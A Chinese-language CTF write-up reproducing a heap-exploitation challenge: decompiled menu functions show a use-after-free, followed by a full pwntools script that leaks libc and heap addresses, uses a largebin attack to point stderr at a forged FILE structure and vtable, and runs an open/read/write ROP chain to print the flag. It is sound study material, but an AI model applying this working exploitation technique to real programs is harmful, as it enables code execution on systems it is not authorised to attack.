比赛结束后搜到WP,一点点复现一点点理解。
程序前边有个头,先要登录要配置一个串,然后每执行命令的时候都要输入一个串验证,好在每次都不变。所以手工配置出一个串来。这种串可能有好多配置方法,只要符合规则就行。
- b'LOGIN | r00t QWBQWXF admin\x00'
- b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00'
然后就是菜单题了,建块的时候要求在418到46f之间,都不会进tcache
- ssize_t m1_add()
- {
- unsigned __int64 v1; // [rsp+0h] [rbp-10h]
- size_t size; // [rsp+8h] [rbp-8h]
-
- writen("plz input your cat idx:\n");
- v1 = (unsigned int)readn();
- if ( v1 > 0xF || *((_QWORD *)&unk_4060 + v1) )
- return writen("invalid!\n");
- writen("plz input your cat size:\n");
- size = (unsigned int)readn();
- if ( size <= 0x417 || size > 0x46F )
- return writen("invalid size!\n");
- *((_QWORD *)&unk_4060 + v1) = calloc(1uLL, size);
- if ( !*((_QWORD *)&unk_4060 + v1) )
- return writen("error!\n");
- qword_40E0[v1] = size;
- writen("plz input your content:\n");
- return read(0, *((void **)&unk_4060 + v1), qword_40E0[v1]);
- }
删块的时候没有清理指针,这里有UAF漏洞
- void m2_free()
- {
- unsigned __int64 v0; // [rsp+8h] [rbp-8h]
-
- writen("plz input your cat idx:\n");
- v0 = (unsigned int)readn();
- if ( v0 <= 0xF && *((_QWORD *)&unk_4060 + v0) )
- free(*((void **)&unk_4060 + v0));
- else
- writen("invalid!\n");
- }
然后就是一个largebinAttack但比赛的时候一直没调成,看别人的WP再调
基本思路就是将stderr指向fake虚表,通过虚表来执行ROP
- from pwn import *
-
- #patchelf --set-interpreter /home/shi/libc6_2.35-0ubuntu3/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 pwn
- #patchelf --add-needed /home/shi/libc6_2.35-0ubuntu3/lib/x86_64-linux-gnu/libc.so.6 pwn
-
-
- #LOGIN | r00t QWBQWXF admin
- #CAT | r00t QWBQWXF $
-
- elf = ELF('./pwn')
- libc_elf = ELF('/home/shi/libc6_2.35-0ubuntu3/lib/x86_64-linux-gnu/libc.so.6')
- context(arch='amd64', log_level='debug')
-
- p = process('./pwn')
-
-
- p.sendafter(b'~~~~\n', b'LOGIN | r00t QWBQWXF admin\x00')
- menu = b"plz input your cat choice:\n"
- def add(idx, size, msg, last=False):
- p.sendafter(b'~~~~\n', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00')
- p.sendlineafter(menu, b'1')
- p.sendlineafter(b"plz input your cat idx:\n", str(idx).encode())
- p.sendlineafter(b"plz input your cat size:\n", str(size).encode())
- if not last:
- p.sendafter(b"plz input your content:\n", msg)
-
- def free(idx):
- p.sendafter(b'~~~~\n', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00')
- p.sendlineafter(menu, b'2')
- p.sendlineafter(b"plz input your cat idx:\n", str(idx).encode())
-
- def show(idx):
- p.sendafter(b'~~~~\n', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00')
- p.sendlineafter(menu, b'3')
- p.sendlineafter(b"plz input your cat idx:\n", str(idx).encode())
-
- def edit(idx, msg):
- p.sendafter(b'~~~~\n', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00')
- p.sendlineafter(menu, b'4')
- p.sendlineafter(b"plz input your cat idx:\n", str(idx).encode())
- p.sendafter(b"plz input your content:\n", msg)
-
- add(0, 0x428, b'AAAA')
- add(1, 0x418, b'AAAA')
- add(2, 0x418, b'AAAA')
- free(0)
- add(3, 0x438, b'AAAA') #unsort 0 ,当建立的新块大小大于当前unsort块时unsort进入largebin,通过泄漏largebin的指针得到libc和堆地址
- show(0)
-
- '''
- gef➤ x/20gx 0x290+0x0000557bcf5d6000
- 0x557bcf5d6290: 0x0000000000000000 0x0000000000000431
- 0x557bcf5d62a0: 0x00007f355fa690d0 0x00007f355fa690d0 <--- libc_base +0x21a0d0
- 0x557bcf5d62b0: 0x0000557bcf5d6290 0x0000557bcf5d6290 <--- heap_base +0x290
- '''
- p.recvuntil(b"Context:\n")
- libc_base = u64(p.recv(8)) - 0x21a0d0
- libc_elf.address = libc_base
- print('libc:', hex(libc_base))
-
- p.recv(8)
- heap_base = u64(p.recv(8)) - 0x290
- print('heap:', hex(heap_base))
-
- #0x000000000007498c : mov rdx, r13 ; mov rsi, r12 ; mov rdi, r14 ; call qword ptr [rbx + 0x38]
- #0x00000000001675b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
- rop_addr=heap_base+0x1790 # #2--5 ->fake_io2 这里指向下一个vtable:fake_io2
- fake_io1=p64(0)*5
- fake_io1+=p64(libc_elf.sym['setcontext']+61)
- fake_io1+=p64(0)*5
- fake_io1+=p64(rop_addr)
- fake_io1+=p64(2) + p64(0xffffffffffffffff)
- fake_io1+=p64(0) + p64(libc_elf.address+0x21ba60)
- fake_io1+=p64(0xffffffffffffffff) + p64(0)
- fake_io1+=p64(heap_base+0x340)+p64(libc_elf.address+0x00000000001675b0) #mov_call_2
- fake_io1+=p64(0)*2
- fake_io1+=p64(1)
- fake_io1+=p64(0)*2
- fake_io1+=p64(libc_elf.sym['_IO_wfile_jumps']-0xc0-0x20) #io_wfile_jumps vtable
- fake_io1+=p64(0)
- fake_io1+=p64(libc_elf.sym['setcontext']+61)
- fake_io1+=p64(0)*0x5
- fake_io1+=p64(libc_elf.address+0x000000000007498c) #mov_call_1
- fake_io1+=p64(0)*0xe
- fake_io1+=p64(heap_base+0x340)
- add(9, 0x428, fake_io1) # #9==#0 使用largebin 无攻击, 写入fake vtable
-
- add(8, 0x428, b'A')
- add(7, 0x438, b'A')
- add(6, 0x418, b'A') #chunk6+8 = top_chunk_head
- free(6)
- free(7)
- free(8) #6,7,8释放后会进入top_chunk 6的位置将来新建的块比7+8多10,使6可以修改到top_chunk_head
- free(9) #9=0释放到unsort
- add(10, 0x438, b'A') # #8=#10, #0->largebin 再建比0大的块,0块进入largetbin
- free(2) #第2个块进入unsort
- #LargebinAttack stderr->fake_io1
- edit(0, flat(libc_base+0x21a0d0, libc_base+0x21a0d0, heap_base+0x290, libc_elf.sym['stderr']-0x20)) #修改largebin的指针指向stderr(指针有0x20的偏移)
-
- pop_rdi = next(libc_elf.search(asm("pop rdi;ret")))
- pop_rsi = next(libc_elf.search(asm("pop rsi;ret")))
- pop_rdx_r12 = next(libc_elf.search(asm("pop rdx;pop r12;ret")))
- pop_rax = next(libc_elf.search(asm("pop rax;ret")))
- syscall = next(libc_elf.search(asm("syscall;ret")))
-
- fake_io2=p64(0)+p64(rop_addr)
- fake_io2+=p64(1)+p64(0)
- fake_io2+=p64(libc_elf.sym['setcontext']+61)
- fake_io2+=p64(0)*13
- fake_io2+=p64(heap_base+0xae0) # #2
- fake_io2=fake_io2.ljust(0xa0, b'\x00')
- fake_io2+=p64(heap_base+0xb00)+p64(pop_rdi+1) #ret
-
- #0x7f5733e40860
: 0x00007f5733e406a0 - add(4,0x438,fake_io2) #write fake_io2 , stderr->fake_io1 建大块时第1块的指针位置(stderr)写入0块的堆地址,同时2块进入largebin(指针处为0块的指针:stderr)
- #0x7f5733e40860
: 0x000055c601ed2ae0 - #gef➤ x/8gx 0x0000557c30983000+0xae0
- #0x557c30983ae0: 0x0000000000000000 0x0000000000000421
- #0x557c30983af0: 0x00007f742eff30d0 0x0000557c30983290
- #0x557c30983b00: 0x0000557c30983290 0x00007f742eff3840
-
- rop =b'./flag\x00\x00'+p64(0)
- rop+=flat(pop_rdi,0, pop_rsi,0, pop_rdx_r12,0,0, pop_rax,3, syscall) #close(0)
- rop+=flat(pop_rdi,heap_base+0xaf0, pop_rsi,0, pop_rdx_r12,0,0, pop_rax,2, syscall) #open(*flag,0)
- rop+=flat(pop_rdi,0, pop_rsi,heap_base+0x1000, pop_rdx_r12,0x30,0, pop_rax,0, syscall) #read(0,buf,0x30)
- rop+=flat(pop_rdi,1, pop_rsi,heap_base+0x1000, pop_rdx_r12,0x30,0, pop_rax,1, syscall) #write(1, buf, 0x30)
- add(5, 0x418, rop) #使用当前largebin时指针处写入上前块的堆地址,实现 stderr->fake_io1
- #0x7f5733e40860
: 0x000055c601ed2290 stderr->fake_io1 - #stderr->vtable:fake_io1指靠mov_call1,2 ->fake_io2 -> rop_chain
- edit(6, p64(0)+p64(0x101)) #top_chunk_head = 0x101
-
- add(0xf, 0x430, b'A', last=True) #440>100 no space -> stderr
- print(p.recv())
- p.interactive()